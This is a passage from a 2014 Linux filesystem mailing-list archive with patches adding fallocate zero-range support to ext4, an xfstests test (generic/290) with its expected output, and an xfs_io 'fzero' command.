ee_len, (unsigned long long)map->m_lblk, map->m_len); #endif - err = ext4_split_unwritten_extents(handle, inode, map, path, - EXT4_GET_BLOCKS_CONVERT); + err = ext4_split_convert_extents(handle, inode, map, path, + EXT4_GET_BLOCKS_CONVERT); if (err < 0) goto out; ext4_ext_drop_refs(path); @@ -3850,6 +3911,42 @@ get_reserved_cluster_alloc(struct inode *inode, ext4_lblk_t lblk_start, } static int +ext4_ext_convert_initialized_extent(handle_t *handle, struct inode *inode, + struct ext4_map_blocks *map, + struct ext4_ext_path *path, int flags, + unsigned int allocated, ext4_fsblk_t newblock) +{ + int ret = 0; + int err = 0; + + /* + * Make sure that the extent is no bigger than we support with + * uninitialized extent + */ + if (map->m_len > EXT_UNINIT_MAX_LEN) + map->m_len = EXT_UNINIT_MAX_LEN / 2; + + ret = ext4_convert_initialized_extents(handle, inode, map, + path); + if (ret >= 0) { + ext4_update_inode_fsync_trans(handle, inode, 1); + err = check_eofblocks_fl(handle, inode, map->m_lblk, + path, map->m_len); + } else + err = ret; + map->m_flags |= EXT4_MAP_UNWRITTEN; + if (allocated > map->m_len) + allocated = map->m_len; + map->m_len = allocated; + + if (path) { + ext4_ext_drop_refs(path); + kfree(path); + } + return err ? err : allocated; +} + +static int ext4_ext_handle_uninitialized_extents(handle_t *handle, struct inode *inode, struct ext4_map_blocks *map, struct ext4_ext_path *path, int flags, @@ -3876,8 +3973,8 @@ ext4_ext_handle_uninitialized_extents(handle_t *handle, struct inode *inode, /* get_block() before submit the IO, split the extent */ if ((flags & EXT4_GET_BLOCKS_PRE_IO)) { - ret = ext4_split_unwritten_extents(handle, inode, map, - path, flags); + ret = ext4_split_convert_extents(handle, inode, map, + path, flags | EXT4_GET_BLOCKS_CONVERT); if (ret <= 0) goto out; /* @@ -4168,6 +4265,7 @@ int ext4_ext_map_blocks(handle_t *handle, struct inode *inode, ext4_fsblk_t ee_start = ext4_ext_pblock(ex); unsigned short ee_len; + /* * Uninitialized extents are treated as holes, except that * we split out initialized portions during a write. @@ -4184,7 +4282,17 @@ int ext4_ext_map_blocks(handle_t *handle, struct inode *inode, ext_debug("%u fit into %u:%d -> %llu\n", map->m_lblk, ee_block, ee_len, newblock); - if (!ext4_ext_is_uninitialized(ex)) + /* + * If the extent is initialized check whether the + * caller wants to convert it to unwritten. + */ + if ((!ext4_ext_is_uninitialized(ex)) && + (flags & EXT4_GET_BLOCKS_CONVERT_UNWRITTEN)) { + allocated = ext4_ext_convert_initialized_extent( + handle, inode, map, path, flags, + allocated, newblock); + goto out3; + } else if (!ext4_ext_is_uninitialized(ex)) goto out; allocated = ext4_ext_handle_uninitialized_extents( @@ -4570,6 +4678,136 @@ retry: return ret > 0 ? ret2 : ret; } +static long ext4_zero_range(struct file *file, loff_t offset, + loff_t len, int mode) +{ + struct inode *inode = file_inode(file); + handle_t *handle = NULL; + unsigned int max_blocks; + loff_t new_size = 0; + int ret = 0; + int flags; + int partial; + loff_t start, end; + ext4_lblk_t lblk; + struct address_space *mapping = inode->i_mapping; + unsigned int blkbits = inode->i_blkbits; + + trace_ext4_zero_range(inode, offset, len, mode); + + /* + * Write out all dirty pages to avoid race conditions + * Then release them. + */ + if (mapping->nrpages && mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) { + ret = filemap_write_and_wait_range(mapping, offset, + offset + len - 1); + if (ret) + return ret; + } + + /* + * Round up offset. This is not fallocate, we neet to zero out + * blocks, so convert interior block aligned part of the range to + * unwritten and possibly manually zero out unaligned parts of the + * range. + */ + start = round_up(offset, 1 << blkbits); + end = round_down((offset + len), 1 << blkbits); + + if (start < offset || end > offset + len) + return -EINVAL; + partial = (offset + len) & ((1 << blkbits) - 1); + + lblk = start >> blkbits; + max_blocks = (end >> blkbits); + if (max_blocks < lblk) + max_blocks = 0; + else + max_blocks -= lblk; + + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT | + EXT4_GET_BLOCKS_CONVERT_UNWRITTEN; + if (mode & FALLOC_FL_KEEP_SIZE) + flags |= EXT4_GET_BLOCKS_KEEP_SIZE; + + mutex_lock(&inode->i_mutex); + + /* + * Indirect files do not support unwritten extnets + */ + if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) { + ret = -EOPNOTSUPP; + goto out_mutex; + } + + if (!(mode & FALLOC_FL_KEEP_SIZE) && + offset + len > i_size_read(inode)) { + new_size = offset + len; + ret = inode_newsize_ok(inode, new_size); + if (ret) + goto out_mutex; + /* + * If we have a partial block after EOF we have to allocate + * the entire block. + */ + if (partial) + max_blocks += 1; + } + + if (max_blocks > 0) { + + /* Now release the pages and zero block aligned part of pages*/ + truncate_pagecache_range(inode, start, end - 1); + + /* Wait all existing dio workers, newcomers will block on i_mutex */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + /* + * Remove entire range from the extent status tree. + */ + ret = ext4_es_remove_extent(inode, lblk, max_blocks); + if (ret) + goto out_dio; + + ret = ext4_alloc_file_blocks(file, lblk, max_blocks, flags, + mode); + if (ret) + goto out_dio; + } + + handle = ext4_journal_start(inode, EXT4_HT_MISC, 4); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + ext4_std_error(inode->i_sb, ret); + goto out_dio; + } + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + + if (!ret && new_size) { + if (new_size > i_size_read(inode)) + i_size_write(inode, new_size); + if (new_size > EXT4_I(inode)->i_disksize) + ext4_update_i_disksize(inode, new_size); + } + ext4_mark_inode_dirty(handle, inode); + + /* Zero out partial block at the edges of the range */ + ret = ext4_zero_partial_blocks(handle, inode, offset, len); + + if (file->f_flags & O_SYNC) + ext4_handle_sync(handle); + + ext4_journal_stop(handle); +out_dio: + ext4_inode_resume_unlocked_dio(inode); +out_mutex: + mutex_unlock(&inode->i_mutex); + return ret; +} + /* * preallocate space for a file. This implements ext4's fallocate file * operation, which gets called from sys_fallocate system call. @@ -4590,7 +4828,8 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_ZERO_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) @@ -4607,6 +4846,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) return -EOPNOTSUPP; + if (mode & FALLOC_FL_ZERO_RANGE) + return ext4_zero_range(file, offset, len, mode); + trace_ext4_fallocate_enter(inode, offset, len, mode); lblk = offset >> blkbits; /* diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 6e39895..e64807f 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -503,6 +503,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, { struct extent_status es; int retval; + int ret = 0; #ifdef ES_AGGRESSIVE_TEST struct ext4_map_blocks orig_map; @@ -552,7 +553,6 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, EXT4_GET_BLOCKS_KEEP_SIZE); } if (retval > 0) { - int ret; unsigned int status; if (unlikely(retval != map->m_len)) { @@ -579,7 +579,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, found: if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) { - int ret = check_block_validity(inode, map); + ret = check_block_validity(inode, map); if (ret != 0) return ret; } @@ -596,7 +596,13 @@ found: * with buffer head unmapped. */ if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) - return retval; + /* + * If we need to convert extent to unwritten + * we continue and do the actual work in + * ext4_ext_map_blocks() + */ + if (!(flags & EXT4_GET_BLOCKS_CONVERT_UNWRITTEN)) + return retval; /* * Here we clear m_flags because after allocating an new extent, @@ -652,7 +658,6 @@ found: ext4_clear_inode_state(inode, EXT4_STATE_DELALLOC_RESERVED); if (retval > 0) { - int ret; unsigned int status; if (unlikely(retval != map->m_len)) { @@ -687,7 +692,7 @@ found: has_zeroout: up_write((&EXT4_I(inode)->i_data_sem)); if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) { - int ret = check_block_validity(inode, map); + ret = check_block_validity(inode, map); if (ret != 0) return ret; } @@ -3501,7 +3506,7 @@ int ext4_punch_hole(struct inode *inode, loff_t offset, loff_t length) if (!S_ISREG(inode->i_mode)) return -EOPNOTSUPP; - trace_ext4_punch_hole(inode, offset, length); + trace_ext4_punch_hole(inode, offset, length, 0); /* * Write out all dirty pages to avoid race conditions diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 451e020..7bb26aa 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -71,7 +71,8 @@ struct extent_status; #define show_falloc_mode(mode) __print_flags(mode, "|", \ { FALLOC_FL_KEEP_SIZE, "KEEP_SIZE"}, \ { FALLOC_FL_PUNCH_HOLE, "PUNCH_HOLE"}, \ - { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}) + { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}, \ + { FALLOC_FL_ZERO_RANGE, "ZERO_RANGE"}) TRACE_EVENT(ext4_free_inode, @@ -1333,7 +1334,7 @@ TRACE_EVENT(ext4_direct_IO_exit, __entry->rw, __entry->ret) ); -TRACE_EVENT(ext4_fallocate_enter, +DECLARE_EVENT_CLASS(ext4__fallocate_mode, TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), TP_ARGS(inode, offset, len, mode), @@ -1341,23 +1342,45 @@ TRACE_EVENT(ext4_fallocate_enter, TP_STRUCT__entry( __field( dev_t, dev ) __field( ino_t, ino ) - __field( loff_t, pos ) - __field( loff_t, len ) + __field( loff_t, offset ) + __field( loff_t, len ) __field( int, mode ) ), TP_fast_assign( __entry->dev = inode->i_sb->s_dev; __entry->ino = inode->i_ino; - __entry->pos = offset; + __entry->offset = offset; __entry->len = len; __entry->mode = mode; ), - TP_printk("dev %d,%d ino %lu pos %lld len %lld mode %s", + TP_printk("dev %d,%d ino %lu offset %lld len %lld mode %s", MAJOR(__entry->dev), MINOR(__entry->dev), - (unsigned long) __entry->ino, __entry->pos, - __entry->len, show_falloc_mode(__entry->mode)) + (unsigned long) __entry->ino, + __entry->offset, __entry->len, + show_falloc_mode(__entry->mode)) +); + +DEFINE_EVENT(ext4__fallocate_mode, ext4_fallocate_enter, + + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), + + TP_ARGS(inode, offset, len, mode) +); + +DEFINE_EVENT(ext4__fallocate_mode, ext4_punch_hole, + + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), + + TP_ARGS(inode, offset, len, mode) +); + +DEFINE_EVENT(ext4__fallocate_mode, ext4_zero_range, + + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), + + TP_ARGS(inode, offset, len, mode) ); TRACE_EVENT(ext4_fallocate_exit, @@ -1389,31 +1412,6 @@ TRACE_EVENT(ext4_fallocate_exit, __entry->ret) ); -TRACE_EVENT(ext4_punch_hole, - TP_PROTO(struct inode *inode, loff_t offset, loff_t len), - - TP_ARGS(inode, offset, len), - - TP_STRUCT__entry( - __field( dev_t, dev ) - __field( ino_t, ino ) - __field( loff_t, offset ) - __field( loff_t, len ) - ), - - TP_fast_assign( - __entry->dev = inode->i_sb->s_dev; - __entry->ino = inode->i_ino; - __entry->offset = offset; - __entry->len = len; - ), - - TP_printk("dev %d,%d ino %lu offset %lld len %lld", - MAJOR(__entry->dev), MINOR(__entry->dev), - (unsigned long) __entry->ino, - __entry->offset, __entry->len) -); - TRACE_EVENT(ext4_unlink_enter, TP_PROTO(struct inode *parent, struct dentry *dentry), -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:15:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 676B57F72 for ; Tue, 25 Feb 2014 13:15:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4AAE6304075 for ; Tue, 25 Feb 2014 11:15:40 -0800 (PST) X-ASG-Debug-ID: 1393355739-04cb6c567832960001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XPwrOTtG4O2IgRW2 for ; Tue, 25 Feb 2014 11:15:39 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFZMs008862 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:15:36 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFTa4013764; Tue, 25 Feb 2014 14:15:32 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 1/6] generic/290: Add test for fallocate zero range Date: Tue, 25 Feb 2014 20:15:23 +0100 X-ASG-Orig-Subj: [PATCH 1/6] generic/290: Add test for fallocate zero range Message-Id: <1393355728-12056-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355739 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- common/rc | 14 +++++++ tests/generic/290 | 92 ++++++++++++++++++++++++++++++++++++++++++ tests/generic/290.out | 109 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/group | 1 + 4 files changed, 216 insertions(+) create mode 100755 tests/generic/290 create mode 100644 tests/generic/290.out diff --git a/common/rc b/common/rc index f2c3c3a..d3ec4db 100644 --- a/common/rc +++ b/common/rc @@ -1359,6 +1359,20 @@ _require_xfs_io_fiemap() _notrun "xfs_io fiemap command failed (no fs support?)" } +# check that xfs_io, kernel and filesystem all support fallocate with zero +# range +_require_xfs_io_falloc_zero() +{ + testfile=$TEST_DIR/$$.falloc + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ + -c "fzero 4k 8k" $testfile 2>&1` + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io fallocate zero range support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io fallocate fzero command failed (no fs support?)" +} + # Check that a fs has enough free space (in 1024b blocks) # _require_fs_space() diff --git a/tests/generic/290 b/tests/generic/290 new file mode 100755 index 0000000..90f560a --- /dev/null +++ b/tests/generic/290 @@ -0,0 +1,92 @@ +#! /bin/bash +# FS QA Test No. 290 +# +# Makes calls to fallocate zero range and checks tossed ranges +# +# Nothing should be tossed unless the range includes a page boundry +# +# Primarily tests page boundries and boundries that are +# off-by-one to ensure we're only tossing what's expected +# +#----------------------------------------------------------------------- +# Copyright (c) 2012 SGI. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +# Modify as appropriate. +_supported_os Linux + +_require_xfs_io_falloc_zero + +testfile=$TEST_DIR/290.$$ + +test_zero() +{ + zero_start=$1 + zero_len=$2 + + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 4096" \ + -c "pwrite -S 0x42 4096 4096" \ + -c "fzero $zero_start $zero_len" \ + -c "pread -v 0 8192" \ + $testfile | _filter_xfs_io_unique +} + +echo "[0,1] -- Shouldn't toss anything" +test_zero 0 1 + +echo "[0,4095] -- Shouldn't toss anything" +test_zero 0 4095 + +echo "[0,4096] -- Should toss first page" +test_zero 0 4096 + +echo "[0,4097] -- Should toss first page" +test_zero 0 4097 + +echo "[4095,8191] -- Should toss last byte of first page" +test_zero 4095 4096 + +echo "[4095,8192] -- Should toss second page & last byte of first page" +test_zero 4095 4097 + +echo "[4095,8193] -- Should toss second page & last byte of first page" +test_zero 4095 4098 + +echo "[4096,8192] -- Should toss second page" +test_zero 4096 4096 + +echo "[1024,5120] -- Should toss from 1024 to end of first page" +test_zero 1024 4096 + +# success, all done +status=0 +exit diff --git a/tests/generic/290.out b/tests/generic/290.out new file mode 100644 index 0000000..4614540 --- /dev/null +++ b/tests/generic/290.out @@ -0,0 +1,109 @@ +QA output created by 290 +[0,1] -- Shouldn't toss anything +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +[0,4095] -- Shouldn't toss anything +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +[0,4096] -- Should toss first page +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +[0,4097] -- Should toss first page +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001000: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00001010: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +[4095,8191] -- Should toss last byte of first page +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +[4095,8192] -- Should toss second page & last byte of first page +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +[4095,8193] -- Should toss second page & last byte of first page +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +[4096,8192] -- Should toss second page +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +[1024,5120] -- Should toss from 1024 to end of first page +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/generic/group b/tests/generic/group index 34bd118..f3b2dc7 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -106,6 +106,7 @@ 285 auto rw 286 auto quick other 288 auto quick ioctl trim +290 auto quick prealloc 294 auto quick 299 auto aio enospc rw stress 300 auto aio enospc preallocrw stress -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:15:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 97DA57F72 for ; Tue, 25 Feb 2014 13:15:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5E193304075 for ; Tue, 25 Feb 2014 11:15:41 -0800 (PST) X-ASG-Debug-ID: 1393355740-04bdf05dab35710001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Zo0AeDQ3A40Nlvnn for ; Tue, 25 Feb 2014 11:15:40 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFbmS015724 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:15:38 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PJFZ50016647; Tue, 25 Feb 2014 14:15:35 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH] xfs_io: add fzero command for zeroing range via fallocate Date: Tue, 25 Feb 2014 20:15:33 +0100 X-ASG-Orig-Subj: [PATCH] xfs_io: add fzero command for zeroing range via fallocate Message-Id: <1393355733-12099-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355740 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add fzero command which zeroes a range of the file using fallocate FALLOC_FL_ZERO_RANGE flag. Signed-off-by: Lukas Czerner --- io/prealloc.c | 42 +++++++++++++++++++++++++++++++++++++++++- man/man8/xfs_io.8 | 5 +++++ 2 files changed, 46 insertions(+), 1 deletion(-) diff --git a/io/prealloc.c b/io/prealloc.c index d697f82..71ca877 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -33,6 +33,10 @@ #define FALLOC_FL_COLLAPSE_RANGE 0x08 #endif +#ifndef FALLOC_FL_ZERO_RANGE +#define FALLOC_FL_ZERO_RANGE 0x10 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -42,6 +46,7 @@ static cmdinfo_t zero_cmd; static cmdinfo_t falloc_cmd; static cmdinfo_t fpunch_cmd; static cmdinfo_t fcollapse_cmd; +static cmdinfo_t fzero_cmd; #endif static int @@ -230,6 +235,31 @@ fcollapse_f( } return 0; } + +static int +fzero_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_ZERO_RANGE; + int index = 1; + + if (strncmp(argv[index], "-k", 3) == 0) { + mode |= FALLOC_FL_KEEP_SIZE; + index++; + } + + if (!offset_length(argv[index], argv[index + 1], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -312,7 +342,17 @@ prealloc_init(void) fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; fcollapse_cmd.args = _("off len"); fcollapse_cmd.oneline = - _("de-allocates space and eliminates the hole by shifting extents"); + _("de-allocates space and eliminates the hole by shifting extents"); add_command(&fcollapse_cmd); + + fzero_cmd.name = "fzero"; + fzero_cmd.cfunc = fzero_f; + fzero_cmd.argmin = 2; + fzero_cmd.argmax = 3; + fzero_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fzero_cmd.args = _("[-k] off len"); + fzero_cmd.oneline = + _("zeroes space and eliminates holes by preallocating"); + add_command(&fzero_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 9543b20..e95cf70 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -392,6 +392,11 @@ the FALLOC_FL_PUNCH_HOLE flag as described in the .BR fallocate (2) manual page. .TP +.BI fzero " offset length" +Call fallocate with FALLOC_FL_ZERO_RANGE flag as described in the +.BR fallocate (2) +manual page to allocate and zero blocks within the range. +.TP .BI truncate " offset" Truncates the current file at the given offset using .BR ftruncate (2). -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:15:43 2014 Return-Path: X-Spam-Checker-Version: 